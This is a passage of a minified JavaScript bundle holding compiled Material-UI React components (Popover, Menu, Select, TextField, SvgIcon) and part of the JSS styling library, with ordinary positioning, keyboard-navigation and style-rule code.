Ut=i.forwardRef((function(e,t){var n=e.action,a=e.anchorEl,l=e.anchorOrigin,c=void 0===l?{vertical:"top",horizontal:"left"}:l,u=e.anchorPosition,d=e.anchorReference,p=void 0===d?"anchorEl":d,f=e.children,h=e.classes,m=e.className,v=e.container,g=e.elevation,y=void 0===g?8:g,b=e.getContentAnchorEl,x=e.marginThreshold,A=void 0===x?16:x,w=e.onEnter,k=e.onEntered,S=e.onEntering,C=e.onExit,E=e.onExited,O=e.onExiting,R=e.open,P=e.PaperProps,$=void 0===P?{}:P,M=e.transformOrigin,T=void 0===M?{vertical:"top",horizontal:"left"}:M,I=e.TransitionComponent,N=void 0===I?Wt:I,j=e.transitionDuration,L=void 0===j?"auto":j,z=e.TransitionProps,D=void 0===z?{}:z,F=(0,o.A)(e,["action","anchorEl","anchorOrigin","anchorPosition","anchorReference","children","classes","className","container","elevation","getContentAnchorEl","marginThreshold","onEnter","onEntered","onEntering","onExit","onExited","onExiting","open","PaperProps","transformOrigin","TransitionComponent","transitionDuration","TransitionProps"]),W=i.useRef(),_=i.useCallback((function(e){if("anchorPosition"===p)return u;var t=Kt(a),n=(t&&1===t.nodeType?t:nt(W.current).body).getBoundingClientRect(),r=0===e?c.vertical:"center";return{top:n.top+Vt(n,r),left:n.left+Ht(n,c.horizontal)}}),[a,c.horizontal,c.vertical,u,p]),B=i.useCallback((function(e){var t=0;if(b&&"anchorEl"===p){var n=b(e);if(n&&e.contains(n)){var r=function(e,t){for(var n=t,r=0;n&&n!==e;)r+=(n=n.parentElement).scrollTop;return r}(e,n);t=n.offsetTop+n.clientHeight/2-r||0}}return t}),[c.vertical,p,b]),V=i.useCallback((function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return{vertical:Vt(e,T.vertical)+t,horizontal:Ht(e,T.horizontal)}}),[T.horizontal,T.vertical]),H=i.useCallback((function(e){var t=B(e),n={width:e.offsetWidth,height:e.offsetHeight},r=V(n,t);if("none"===p)return{top:null,left:null,transformOrigin:qt(r)};var o=_(t),i=o.top-r.vertical,s=o.left-r.horizontal,l=i+n.height,c=s+n.width,u=it(Kt(a)),d=u.innerHeight-A,f=u.innerWidth-A;if(i<A){var h=i-A;i-=h,r.vertical+=h}else if(l>d){var m=l-d;i-=m,r.vertical+=m}if(s<A){var v=s-A;s-=v,r.horizontal+=v}else if(c>f){var g=c-f;s-=g,r.horizontal+=g}return{top:"".concat(Math.round(i),"px"),left:"".concat(Math.round(s),"px"),transformOrigin:qt(r)}}),[a,p,_,B,V,A]),q=i.useCallback((function(){var e=W.current;if(e){var t=H(e);null!==t.top&&(e.style.top=t.top),null!==t.left&&(e.style.left=t.left),e.style.transformOrigin=t.transformOrigin}}),[H]),K=i.useCallback((function(e){W.current=rt.findDOMNode(e)}),[]);i.useEffect((function(){R&&q()})),i.useImperativeHandle(n,(function(){return R?{updatePosition:function(){q()}}:null}),[R,q]),i.useEffect((function(){if(R){var e=Ee((function(){q()}));return window.addEventListener("resize",e),function(){e.clear(),window.removeEventListener("resize",e)}}}),[R,q]);var U=L;"auto"!==L||N.muiSupportAuto||(U=void 0);var X=v||(a?nt(Kt(a)).body:void 0);return i.createElement(St,(0,r.A)({container:X,open:R,ref:t,BackdropProps:{invisible:!0},className:(0,s.A)(h.root,m)},F),i.createElement(N,(0,r.A)({appear:!0,in:R,onEnter:w,onEntered:k,onExit:C,onExited:E,onExiting:O,timeout:U},D,{onEntering:at((function(e,t){S&&S(e,t),q()}),D.onEntering)}),i.createElement(Bt,(0,r.A)({elevation:y,ref:K},$,{className:(0,s.A)(h.paper,$.className)}),f)))}));const Xt=we({root:{},paper:{position:"absolute",overflowY:"auto",overflowX:"hidden",minWidth:16,minHeight:16,maxWidth:"calc(100% - 32px)",maxHeight:"calc(100% - 32px)",outline:0}},{name:"MuiPopover"})(Ut),Gt=i.createContext({});var Yt=i.forwardRef((function(e,t){var n=e.children,a=e.classes,l=e.className,c=e.component,u=void 0===c?"ul":c,d=e.dense,p=void 0!==d&&d,f=e.disablePadding,h=void 0!==f&&f,m=e.subheader,v=(0,o.A)(e,["children","classes","className","component","dense","disablePadding","subheader"]),g=i.useMemo((function(){return{dense:p}}),[p]);return i.createElement(Gt.Provider,{value:g},i.createElement(u,(0,r.A)({className:(0,s.A)(a.root,l,p&&a.dense,!h&&a.padding,m&&a.subheader),ref:t},v),m,n))}));const Jt=we({root:{listStyle:"none",margin:0,padding:0,position:"relative"},padding:{paddingTop:8,paddingBottom:8},dense:{},subheader:{paddingTop:0}},{name:"MuiList"})(Yt);function Zt(e,t,n){return e===t?e.firstChild:t&&t.nextElementSibling?t.nextElementSibling:n?null:e.firstChild}function Qt(e,t,n){return e===t?n?e.firstChild:e.lastChild:t&&t.previousElementSibling?t.previousElementSibling:n?null:e.lastChild}function en(e,t){if(void 0===t)return!0;var n=e.innerText;return void 0===n&&(n=e.textContent),0!==(n=n.trim().toLowerCase()).length&&(t.repeating?n[0]===t.keys[0]:0===n.indexOf(t.keys.join("")))}function tn(e,t,n,r,o,i){for(var a=!1,s=o(e,t,!!t&&n);s;){if(s===e.firstChild){if(a)return;a=!0}var l=!r&&(s.disabled||"true"===s.getAttribute("aria-disabled"));if(s.hasAttribute("tabindex")&&en(s,i)&&!l)return void s.focus();s=o(e,s,n)}}var nn="undefined"==typeof window?i.useEffect:i.useLayoutEffect;const rn=i.forwardRef((function(e,t){var n=e.actions,a=e.autoFocus,s=void 0!==a&&a,l=e.autoFocusItem,c=void 0!==l&&l,u=e.children,d=e.className,p=e.disabledItemsFocusable,f=void 0!==p&&p,h=e.disableListWrap,m=void 0!==h&&h,v=e.onKeyDown,g=e.variant,y=void 0===g?"selectedMenu":g,b=(0,o.A)(e,["actions","autoFocus","autoFocusItem","children","className","disabledItemsFocusable","disableListWrap","onKeyDown","variant"]),x=i.useRef(null),A=i.useRef({keys:[],repeating:!0,previousKeyMatched:!0,lastTime:null});nn((function(){s&&x.current.focus()}),[s]),i.useImperativeHandle(n,(function(){return{adjustStyleForScrollbar:function(e,t){var n=!x.current.style.width;if(e.clientHeight<x.current.clientHeight&&n){var r="".concat(ht(),"px");x.current.style["rtl"===t.direction?"paddingLeft":"paddingRight"]=r,x.current.style.width="calc(100% + ".concat(r,")")}return x.current}}}),[]);var w=Ce(i.useCallback((function(e){x.current=rt.findDOMNode(e)}),[]),t),k=-1;i.Children.forEach(u,(function(e,t){i.isValidElement(e)&&(e.props.disabled||("selectedMenu"===y&&e.props.selected||-1===k)&&(k=t))}));var S=i.Children.map(u,(function(e,t){if(t===k){var n={};return c&&(n.autoFocus=!0),void 0===e.props.tabIndex&&"selectedMenu"===y&&(n.tabIndex=0),i.cloneElement(e,n)}return e}));return i.createElement(Jt,(0,r.A)({role:"menu",ref:w,className:d,onKeyDown:function(e){var t=x.current,n=e.key,r=nt(t).activeElement;if("ArrowDown"===n)e.preventDefault(),tn(t,r,m,f,Zt);else if("ArrowUp"===n)e.preventDefault(),tn(t,r,m,f,Qt);else if("Home"===n)e.preventDefault(),tn(t,null,m,f,Zt);else if("End"===n)e.preventDefault(),tn(t,null,m,f,Qt);else if(1===n.length){var o=A.current,i=n.toLowerCase(),a=performance.now();o.keys.length>0&&(a-o.lastTime>500?(o.keys=[],o.repeating=!0,o.previousKeyMatched=!0):o.repeating&&i!==o.keys[0]&&(o.repeating=!1)),o.lastTime=a,o.keys.push(i);var s=r&&!o.repeating&&en(r,o);o.previousKeyMatched&&(s||tn(t,r,!1,f,Zt,o))?e.preventDefault():o.previousKeyMatched=!1}v&&v(e)},tabIndex:s?0:-1},b),S)}));var on={vertical:"top",horizontal:"right"},an={vertical:"top",horizontal:"left"},sn=i.forwardRef((function(e,t){var n=e.autoFocus,a=void 0===n||n,l=e.children,c=e.classes,u=e.disableAutoFocusItem,d=void 0!==u&&u,p=e.MenuListProps,f=void 0===p?{}:p,h=e.onClose,m=e.onEntering,v=e.open,g=e.PaperProps,y=void 0===g?{}:g,b=e.PopoverClasses,x=e.transitionDuration,A=void 0===x?"auto":x,w=e.TransitionProps,k=(w=void 0===w?{}:w).onEntering,S=(0,o.A)(w,["onEntering"]),C=e.variant,E=void 0===C?"selectedMenu":C,O=(0,o.A)(e,["autoFocus","children","classes","disableAutoFocusItem","MenuListProps","onClose","onEntering","open","PaperProps","PopoverClasses","transitionDuration","TransitionProps","variant"]),R=We(),P=a&&!d&&v,$=i.useRef(null),M=i.useRef(null),T=-1;i.Children.map(l,(function(e,t){i.isValidElement(e)&&(e.props.disabled||("menu"!==E&&e.props.selected||-1===T)&&(T=t))}));var I=i.Children.map(l,(function(e,t){return t===T?i.cloneElement(e,{ref:function(t){M.current=rt.findDOMNode(t),Se(e.ref,t)}}):e}));return i.createElement(Xt,(0,r.A)({getContentAnchorEl:function(){return M.current},classes:b,onClose:h,TransitionProps:(0,r.A)({onEntering:function(e,t){$.current&&$.current.adjustStyleForScrollbar(e,R),m&&m(e,t),k&&k(e,t)}},S),anchorOrigin:"rtl"===R.direction?on:an,transformOrigin:"rtl"===R.direction?on:an,PaperProps:(0,r.A)({},y,{classes:(0,r.A)({},y.classes,{root:c.paper})}),open:v,ref:t,transitionDuration:A},O),i.createElement(rn,(0,r.A)({onKeyDown:function(e){"Tab"===e.key&&(e.preventDefault(),h&&h(e,"tabKeyDown"))},actions:$,autoFocus:a&&(-1===T||d),autoFocusItem:P,variant:E},f,{className:(0,s.A)(c.list,f.className)}),I))}));const ln=we({paper:{maxHeight:"calc(100% - 96px)",WebkitOverflowScrolling:"touch"},list:{outline:0}},{name:"MuiMenu"})(sn);function cn(e,t){return"object"===(0,re.A)(t)&&null!==t?e===t:String(e)===String(t)}var un=i.forwardRef((function(e,t){var n=e["aria-label"],a=e.autoFocus,c=e.autoWidth,u=e.children,d=e.classes,p=e.className,f=e.defaultValue,h=e.disabled,m=e.displayEmpty,v=e.IconComponent,g=e.inputRef,y=e.labelId,b=e.MenuProps,x=void 0===b?{}:b,A=e.multiple,w=e.name,k=e.onBlur,S=e.onChange,C=e.onClose,E=e.onFocus,O=e.onOpen,R=e.open,P=e.readOnly,$=e.renderValue,M=e.SelectDisplayProps,T=void 0===M?{}:M,I=e.tabIndex,N=(e.type,e.value),j=e.variant,L=void 0===j?"standard":j,z=(0,o.A)(e,["aria-label","autoFocus","autoWidth","children","classes","className","defaultValue","disabled","displayEmpty","IconComponent","inputRef","labelId","MenuProps","multiple","name","onBlur","onChange","onClose","onFocus","onOpen","open","readOnly","renderValue","SelectDisplayProps","tabIndex","type","value","variant"]),D=function(e){var t=e.controlled,n=e.default,r=i.useRef(void 0!==t).current,o=i.useState(n),a=o[0],s=o[1];return[r?t:a,i.useCallback((function(e){r||s(e)}),[])]}({controlled:N,default:f,name:"Select"}),F=(0,ne.A)(D,2),W=F[0],_=F[1],B=i.useRef(null),V=i.useState(null),H=V[0],q=V[1],K=i.useRef(null!=R).current,U=i.useState(),X=U[0],G=U[1],Y=i.useState(!1),J=Y[0],Z=Y[1],Q=Ce(t,g);i.useImperativeHandle(Q,(function(){return{focus:function(){H.focus()},node:B.current,value:W}}),[H,W]),i.useEffect((function(){a&&H&&H.focus()}),[a,H]),i.useEffect((function(){if(H){var e=nt(H).getElementById(y);if(e){var t=function(){getSelection().isCollapsed&&H.focus()};return e.addEventListener("click",t),function(){e.removeEventListener("click",t)}}}}),[y,H]);var ee,te,re=function(e,t){e?O&&O(t):C&&C(t),K||(G(c?null:H.clientWidth),Z(e))},oe=i.Children.toArray(u),ie=function(e){return function(t){var n;if(A||re(!1,t),A){n=Array.isArray(W)?W.slice():[];var r=W.indexOf(e.props.value);-1===r?n.push(e.props.value):n.splice(r,1)}else n=e.props.value;e.props.onClick&&e.props.onClick(t),W!==n&&(_(n),S&&(t.persist(),Object.defineProperty(t,"target",{writable:!0,value:{value:n,name:w}}),S(t,e)))}},ae=null!==H&&(K?R:J);delete z["aria-invalid"];var se=[],le=!1;(Te({value:W})||m)&&($?ee=$(W):le=!0);var ce=oe.map((function(e){if(!i.isValidElement(e))return null;var t;if(A){if(!Array.isArray(W))throw new Error(l(2));(t=W.some((function(t){return cn(t,e.props.value)})))&&le&&se.push(e.props.children)}else(t=cn(W,e.props.value))&&le&&(te=e.props.children);return i.cloneElement(e,{"aria-selected":t?"true":void 0,onClick:ie(e),onKeyUp:function(t){" "===t.key&&t.preventDefault(),e.props.onKeyUp&&e.props.onKeyUp(t)},role:"option",selected:t,value:void 0,"data-value":e.props.value})}));le&&(ee=A?se.join(", "):te);var ue,de=X;!c&&K&&H&&(de=H.clientWidth),ue=void 0!==I?I:h?null:0;var pe=T.id||(w?"mui-component-select-".concat(w):void 0);return i.createElement(i.Fragment,null,i.createElement("div",(0,r.A)({className:(0,s.A)(d.root,d.select,d.selectMenu,d[L],p,h&&d.disabled),ref:q,tabIndex:ue,role:"button","aria-disabled":h?"true":void 0,"aria-expanded":ae?"true":void 0,"aria-haspopup":"listbox","aria-label":n,"aria-labelledby":[y,pe].filter(Boolean).join(" ")||void 0,onKeyDown:function(e){P||-1!==[" ","ArrowUp","ArrowDown","Enter"].indexOf(e.key)&&(e.preventDefault(),re(!0,e))},onMouseDown:h||P?null:function(e){0===e.button&&(e.preventDefault(),H.focus(),re(!0,e))},onBlur:function(e){!ae&&k&&(e.persist(),Object.defineProperty(e,"target",{writable:!0,value:{value:W,name:w}}),k(e))},onFocus:E},T,{id:pe}),function(e){return null==e||"string"==typeof e&&!e.trim()}(ee)?i.createElement("span",{dangerouslySetInnerHTML:{__html:"&#8203;"}}):ee),i.createElement("input",(0,r.A)({value:Array.isArray(W)?W.join(","):W,name:w,ref:B,"aria-hidden":!0,onChange:function(e){var t=oe.map((function(e){return e.props.value})).indexOf(e.target.value);if(-1!==t){var n=oe[t];_(n.props.value),S&&S(e,n)}},tabIndex:-1,className:d.nativeInput,autoFocus:a},z)),i.createElement(v,{className:(0,s.A)(d.icon,d["icon".concat(ke(L))],ae&&d.iconOpen,h&&d.disabled)}),i.createElement(ln,(0,r.A)({id:"menu-".concat(w||""),anchorEl:H,open:ae,onClose:function(e){re(!1,e)}},x,{MenuListProps:(0,r.A)({"aria-labelledby":y,role:"listbox",disableListWrap:!0},x.MenuListProps),PaperProps:(0,r.A)({},x.PaperProps,{style:(0,r.A)({minWidth:de},null!=x.PaperProps?x.PaperProps.style:null)})}),ce))}));const dn=un;var pn=i.forwardRef((function(e,t){var n=e.children,a=e.classes,l=e.className,c=e.color,u=void 0===c?"inherit":c,d=e.component,p=void 0===d?"svg":d,f=e.fontSize,h=void 0===f?"medium":f,m=e.htmlColor,v=e.titleAccess,g=e.viewBox,y=void 0===g?"0 0 24 24":g,b=(0,o.A)(e,["children","classes","className","color","component","fontSize","htmlColor","titleAccess","viewBox"]);return i.createElement(p,(0,r.A)({className:(0,s.A)(a.root,l,"inherit"!==u&&a["color".concat(ke(u))],"default"!==h&&"medium"!==h&&a["fontSize".concat(ke(h))]),focusable:"false",viewBox:y,color:m,"aria-hidden":!v||void 0,role:v?"img":void 0,ref:t},b),n,v?i.createElement("title",null,v):null)}));pn.muiName="SvgIcon";const fn=we((function(e){return{root:{userSelect:"none",width:"1em",height:"1em",display:"inline-block",fill:"currentColor",flexShrink:0,fontSize:e.typography.pxToRem(24),transition:e.transitions.create("fill",{duration:e.transitions.duration.shorter})},colorPrimary:{color:e.palette.primary.main},colorSecondary:{color:e.palette.secondary.main},colorAction:{color:e.palette.action.active},colorError:{color:e.palette.error.main},colorDisabled:{color:e.palette.action.disabled},fontSizeInherit:{fontSize:"inherit"},fontSizeSmall:{fontSize:e.typography.pxToRem(20)},fontSizeLarge:{fontSize:e.typography.pxToRem(35)}}}),{name:"MuiSvgIcon"})(pn),hn=(mn=i.createElement("path",{d:"M7 10l5 5 5-5z"}),(vn=function(e,t){return a().createElement(fn,(0,r.A)({ref:t},e),mn)}).muiName=fn.muiName,a().memo(a().forwardRef(vn)));var mn,vn;const gn=i.forwardRef((function(e,t){var n=e.classes,a=e.className,l=e.disabled,c=e.IconComponent,u=e.inputRef,d=e.variant,p=void 0===d?"standard":d,f=(0,o.A)(e,["classes","className","disabled","IconComponent","inputRef","variant"]);return i.createElement(i.Fragment,null,i.createElement("select",(0,r.A)({className:(0,s.A)(n.root,n.select,n[p],a,l&&n.disabled),disabled:l,ref:u||t},f)),e.multiple?null:i.createElement(c,{className:(0,s.A)(n.icon,n["icon".concat(ke(p))],l&&n.disabled)}))}));var yn=function(e){return{root:{},select:{"-moz-appearance":"none","-webkit-appearance":"none",userSelect:"none",borderRadius:0,minWidth:16,cursor:"pointer","&:focus":{backgroundColor:"light"===e.palette.type?"rgba(0, 0, 0, 0.05)":"rgba(255, 255, 255, 0.05)",borderRadius:0},"&::-ms-expand":{display:"none"},"&$disabled":{cursor:"default"},"&[multiple]":{height:"auto"},"&:not([multiple]) option, &:not([multiple]) optgroup":{backgroundColor:e.palette.background.paper},"&&":{paddingRight:24}},filled:{"&&":{paddingRight:32}},outlined:{borderRadius:e.shape.borderRadius,"&&":{paddingRight:32}},selectMenu:{height:"auto",minHeight:"1.1876em",textOverflow:"ellipsis",whiteSpace:"nowrap",overflow:"hidden"},disabled:{},icon:{position:"absolute",right:0,top:"calc(50% - 12px)",pointerEvents:"none",color:e.palette.action.active,"&$disabled":{color:e.palette.action.disabled}},iconOpen:{transform:"rotate(180deg)"},iconFilled:{right:7},iconOutlined:{right:7},nativeInput:{bottom:0,left:0,position:"absolute",opacity:0,pointerEvents:"none",width:"100%"}}},bn=i.createElement(ze,null),xn=i.forwardRef((function(e,t){var n=e.children,a=e.classes,s=e.IconComponent,l=void 0===s?hn:s,u=e.input,d=void 0===u?bn:u,p=e.inputProps,f=(e.variant,(0,o.A)(e,["children","classes","IconComponent","input","inputProps","variant"])),h=c({props:e,muiFormControl:qe(),states:["variant"]});return i.cloneElement(d,(0,r.A)({inputComponent:gn,inputProps:(0,r.A)({children:n,classes:a,IconComponent:l,variant:h.variant,type:void 0},p,d?d.props.inputProps:{}),ref:t},f))}));xn.muiName="Select",we(yn,{name:"MuiNativeSelect"})(xn);var An=yn,wn=i.createElement(ze,null),kn=i.createElement(Fe,null),Sn=i.forwardRef((function e(t,n){var a=t.autoWidth,s=void 0!==a&&a,l=t.children,u=t.classes,d=t.displayEmpty,p=void 0!==d&&d,f=t.IconComponent,h=void 0===f?hn:f,m=t.id,v=t.input,g=t.inputProps,y=t.label,b=t.labelId,x=t.labelWidth,A=void 0===x?0:x,w=t.MenuProps,k=t.multiple,S=void 0!==k&&k,C=t.native,E=void 0!==C&&C,O=t.onClose,R=t.onOpen,P=t.open,$=t.renderValue,M=t.SelectDisplayProps,T=t.variant,I=void 0===T?"standard":T,N=(0,o.A)(t,["autoWidth","children","classes","displayEmpty","IconComponent","id","input","inputProps","label","labelId","labelWidth","MenuProps","multiple","native","onClose","onOpen","open","renderValue","SelectDisplayProps","variant"]),j=E?gn:dn,L=c({props:t,muiFormControl:qe(),states:["variant"]}).variant||I,z=v||{standard:wn,outlined:i.createElement(He,{label:y,labelWidth:A}),filled:kn}[L];return i.cloneElement(z,(0,r.A)({inputComponent:j,inputProps:(0,r.A)({children:l,IconComponent:h,variant:L,type:void 0,multiple:S},E?{id:m}:{autoWidth:s,displayEmpty:p,labelId:b,MenuProps:w,onClose:O,onOpen:R,open:P,renderValue:$,SelectDisplayProps:(0,r.A)({id:m},M)},g,{classes:g?(0,tt.A)({baseClasses:u,newClasses:g.classes,Component:e}):u},v?v.props.inputProps:{}),ref:n},N))}));Sn.muiName="Select";const Cn=we(An,{name:"MuiSelect"})(Sn);var En={standard:ze,filled:Fe,outlined:He},On=i.forwardRef((function(e,t){var n=e.autoComplete,a=e.autoFocus,l=void 0!==a&&a,c=e.children,u=e.classes,d=e.className,p=e.color,f=void 0===p?"primary":p,h=e.defaultValue,m=e.disabled,v=void 0!==m&&m,g=e.error,y=void 0!==g&&g,b=e.FormHelperTextProps,x=e.fullWidth,A=void 0!==x&&x,w=e.helperText,k=e.hiddenLabel,S=e.id,C=e.InputLabelProps,E=e.inputProps,O=e.InputProps,R=e.inputRef,P=e.label,$=e.multiline,M=void 0!==$&&$,T=e.name,I=e.onBlur,N=e.onChange,j=e.onFocus,L=e.placeholder,z=e.required,D=void 0!==z&&z,F=e.rows,W=e.rowsMax,_=e.maxRows,B=e.minRows,V=e.select,H=void 0!==V&&V,q=e.SelectProps,K=e.type,U=e.value,X=e.variant,G=void 0===X?"standard":X,Y=(0,o.A)(e,["autoComplete","autoFocus","children","classes","className","color","defaultValue","disabled","error","FormHelperTextProps","fullWidth","helperText","hiddenLabel","id","InputLabelProps","inputProps","InputProps","inputRef","label","multiline","name","onBlur","onChange","onFocus","placeholder","required","rows","rowsMax","maxRows","minRows","select","SelectProps","type","value","variant"]),J={};if("outlined"===G&&(C&&void 0!==C.shrink&&(J.notched=C.shrink),P)){var Z,Q=null!==(Z=null==C?void 0:C.required)&&void 0!==Z?Z:D;J.label=i.createElement(i.Fragment,null,P,Q&&" *")}H&&(q&&q.native||(J.id=void 0),J["aria-describedby"]=void 0);var ee=w&&S?"".concat(S,"-helper-text"):void 0,te=P&&S?"".concat(S,"-label"):void 0,ne=En[G],re=i.createElement(ne,(0,r.A)({"aria-describedby":ee,autoComplete:n,autoFocus:l,defaultValue:h,fullWidth:A,multiline:M,name:T,rows:F,rowsMax:W,maxRows:_,minRows:B,type:K,value:U,id:S,inputRef:R,onBlur:I,onChange:N,onFocus:j,placeholder:L,inputProps:E},J,O));return i.createElement(Ze,(0,r.A)({className:(0,s.A)(u.root,d),disabled:v,error:y,fullWidth:A,hiddenLabel:k,ref:t,required:D,color:f,variant:G},Y),P&&i.createElement(Ge,(0,r.A)({htmlFor:S,id:te},C),P),H?i.createElement(Cn,(0,r.A)({"aria-describedby":ee,id:S,labelId:te,value:U,input:re},q),c):re,w&&i.createElement(et,(0,r.A)({id:ee},b),w))}));const Rn=we({root:{}},{name:"MuiTextField"})(On)},2611:(e,t,n)=>{"use strict";n.d(t,{A:()=>on});var r=n(45),o=n(8168),i=n(1609),a=n.n(i),s="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};const l="object"===("undefined"==typeof window?"undefined":s(window))&&"object"===("undefined"==typeof document?"undefined":s(document))&&9===document.nodeType;var c=n(2901),u=n(7387),d=n(9417),p=n(8587),f={}.constructor;function h(e){if(null==e||"object"!=typeof e)return e;if(Array.isArray(e))return e.map(h);if(e.constructor!==f)return e;var t={};for(var n in e)t[n]=h(e[n]);return t}function m(e,t,n){void 0===e&&(e="unnamed");var r=n.jss,o=h(t);return r.plugins.onCreateRule(e,o,n)||(e[0],null)}var v=function(e,t){for(var n="",r=0;r<e.length&&"!important"!==e[r];r++)n&&(n+=t),n+=e[r];return n},g=function(e){if(!Array.isArray(e))return e;var t="";if(Array.isArray(e[0]))for(var n=0;n<e.length&&"!important"!==e[n];n++)t&&(t+=", "),t+=v(e[n]," ");else t=v(e,", ");return"!important"===e[e.length-1]&&(t+=" !important"),t};function y(e){return e&&!1===e.format?{linebreak:"",space:""}:{linebreak:"\n",space:" "}}function b(e,t){for(var n="",r=0;r<t;r++)n+="  ";return n+e}function x(e,t,n){void 0===n&&(n={});var r="";if(!t)return r;var o=n.indent,i=void 0===o?0:o,a=t.fallbacks;!1===n.format&&(i=-1/0);var s=y(n),l=s.linebreak,c=s.space;if(e&&i++,a)if(Array.isArray(a))for(var u=0;u<a.length;u++){var d=a[u];for(var p in d){var f=d[p];null!=f&&(r&&(r+=l),r+=b(p+":"+c+g(f)+";",i))}}else for(var h in a){var m=a[h];null!=m&&(r&&(r+=l),r+=b(h+":"+c+g(m)+";",i))}for(var v in t){var x=t[v];null!=x&&"fallbacks"!==v&&(r&&(r+=l),r+=b(v+":"+c+g(x)+";",i))}return(r||n.allowEmpty)&&e?(r&&(r=""+l+r+l),b(""+e+c+"{"+r,--i)+b("}",i)):r}var A=/([[\].#*$><+~=|^:(),"'`\s])/g,w="undefined"!=typeof CSS&&CSS.escape,k=function(e){return w?w(e):e.replace(A,"\\$1")},S=function(){function e(e,t,n){this.type="style",this.isProcessed=!1;var r=n.sheet,o=n.Renderer;this.key=e,this.options=n,this.style=t,r?this.renderer=r.renderer:o&&(this.renderer=new o)}return e.prototype.prop=function(e,t,n){if(void 0===t)return this.style[e];var r=!!n&&n.force;if(!r&&this.style[e]===t)return this;var o=t;n&&!1===n.process||(o=this.options.jss.plugins.onChangeValue(t,e,this));var i=null==o||!1===o,a=e in this.style;if(i&&!a&&!r)return this;var s=i&&a;if(s?delete this.style[e]:this.style[e]=o,this.renderable&&this.renderer)return s?this.renderer.removeProperty(this.renderable,e):this.renderer.setProperty(this.renderable,e,o),this;var l=this.options.sheet;return l&&l.attached,this},e}(),C=function(e){function t(t,n,r){var o;o=e.call(this,t,n,r)||this;var i=r.selector,a=r.scoped,s=r.sheet,l=r.generateId;return i?o.selectorText=i:!1!==a&&(o.id=l((0,d.A)((0,d.A)(o)),s),o.selectorText="."+k(o.id)),o}(0,u.A)(t,e);var n=t.prototype;return n.applyTo=function(e){var t=this.renderer;if(t){var n=this.toJSON();for(var r in n)t.setProperty(e,r,n[r])}return this},n.toJSON=function(){var e={};for(var t in this.style){var n=this.style[t];"object"!=typeof n?e[t]=n:Array.isArray(n)&&(e[t]=g(n))}return e},n.toString=function(e){var t=this.options.sheet,n=t&&t.options.link?(0,o.A)({},e,{allowEmpty:!0}):e;return x(this.selectorText,this.style,n)},(0,c.A)(t,[{key:"selector",set:function(e){if(e!==this.selectorText){this.selectorText=e;var t=this.renderer,n=this.renderable;n&&t&&(t.setSelector(n,e)||t.replaceRule(n,this))}},get:function(){return this.selectorText}}]),t}(S),E={onCreateRule:function(e,t,n){return"@"===e[0]||n.parent&&"keyframes"===n.parent.type?null:new C(e,t,n)}},O={indent:1,children:!0},R=/@([\w-]+)/,P=function(){function e(e,t,n){this.type="conditional",this.isProcessed=!1,this.key=e;var r=e.match(R);for(var i in this.at=r?r[1]:"unknown",this.query=n.name||"@"+this.at,this.options=n,this.rules=new Q((0,o.A)({},n,{parent:this})),t)this.rules.add(i,t[i]);this.rules.process()}var t=e.prototype;return t.getRule=function(e){return this.rules.get(e)},t.indexOf=function(e){return this.rules.indexOf(e)},t.addRule=function(e,t,n){var r=this.rules.add(e,t,n);return r?(this.options.jss.plugins.onProcessRule(r),r):null},t.replaceRule=function(e,t,n){var r=this.rules.replace(e,t,n);return r&&this.options.jss.plugins.onProcessRule(r),r},t.toString=function(e){void 0===e&&(e=O);var t=y(e).linebreak;if(null==e.indent&&(e.indent=O.indent),null==e.children&&(e.children=O.children),!1===e.children)return this.query+" {}";var n=this.rules.toString(e);return n?this.query+" {"+t+n+t+"}":""},e}(),$=/@container|@media|@supports\s+/,M={onCreateRule:function(e,t,n){return $.test(e)?new P(e,t,n):null}},T={indent:1,children:!0},I=/@keyframes\s+([\w-]+)/,N=function(){function e(e,t,n){this.type="keyframes",this.at="@keyframes",this.isProcessed=!1;var r=e.match(I);r&&r[1]?this.name=r[1]:this.name="noname",this.key=this.type+"-"+this.name,this.options=n;var i=n.scoped,a=n.sheet,s=n.generateId;for(var l in this.id=!1===i?this.name:k(s(this,a)),this.rules=new Q((0,o.A)({},n,{parent:this})),t)this.rules.add(l,t[l],(0,o.A)({},n,{parent:this}));this.rules.process()}return e.prototype.toString=function(e){void 0===e&&(e=T);var t=y(e).linebreak;if(null==e.indent&&(e.indent=T.indent),null==e.children&&(e.children=T.children),!1===e.children)return this.at+" "+this.id+" {}";var n=this.rules.toString(e);return n&&(n=""+t+n+t),this.at+" "+this.id+" {"+n+"}"},e}(),j=/@keyframes\s+/,L=/\$([\w-]+)/g,z=function(e,t){return"string"==typeof e?e.replace(L,(function(e,n){return n in t?t[n]:e})):e},D=function(e,t,n){var r=e[t],o=z(r,n);o!==r&&(e[t]=o)},F={onCreateRule:function(e,t,n){return"string"==typeof e&&j.test(e)?new N(e,t,n):null},onProcessStyle:function(e,t,n){return"style"===t.type&&n?("animation-name"in e&&D(e,"animation-name",n.keyframes),"animation"in e&&D(e,"animation",n.keyframes),e):e},onChangeValue:function(e,t,n){var r=n.options.sheet;if(!r)return e;switch(t){case"animation":case"animation-name":return z(e,r.keyframes);default:return e}}},W=function(e){function t(){return e.apply(this,arguments)||this}return(0,u.A)(t,e),t.prototype.toString=function(e){var t=this.options.sheet,n=t&&t.options.link?(0,o.A)({},e,{allowEmpty:!0}):e;return x(this.key,this.style,n)},t}(S),_={onCreateRule:function(e,t,n){return n.parent&&"keyframes"===n.parent.type?new W(e,t,n):null}},B=function(){function e(e,t,n){this.type="font-face",this.at="@font-face",this.isProcessed=!1,this.key=e,this.style=t,this.options=n}return e.prototype.toString=function(e){var t=y(e).linebreak;if(Array.isArray(this.style)){for(var n="",r=0;r<this.style.length;r++)n+=x(this.at,this.style[r]),this.style[r+1]&&(n+=t);return n}return x(this.at,this.style,e)},e}(),V=/@font-face/,H={onCreateRule:function(e,t,n){return V.test(e)?new B(e,t,n):null}},q=function(){function e(e,t,n){this.type="viewport",this.at="@viewport",this.isProcessed=!1,this.key=e,this.style=t,this.options=n}return e.prototype.toString=function(e){return x(this.key,this.style,e)},e}(),K={onCreateRule:function(e,t,n){return"@viewport"===e||"@-ms-viewport"===e?new q(e,t,n):null}},U=function(){function e(e,t,n){this.type="simple",this.isProcessed=!1,this.key=e,this.value=t,this.options=n}return e.prototype.toString=function(e){if(Array.isArray(this.value)){for(var t="",n=0;n<this.value.length;n++)t+=this.key+" "+this.value[n]+";",this.value[n+1]&&(t+="\n");return t}return 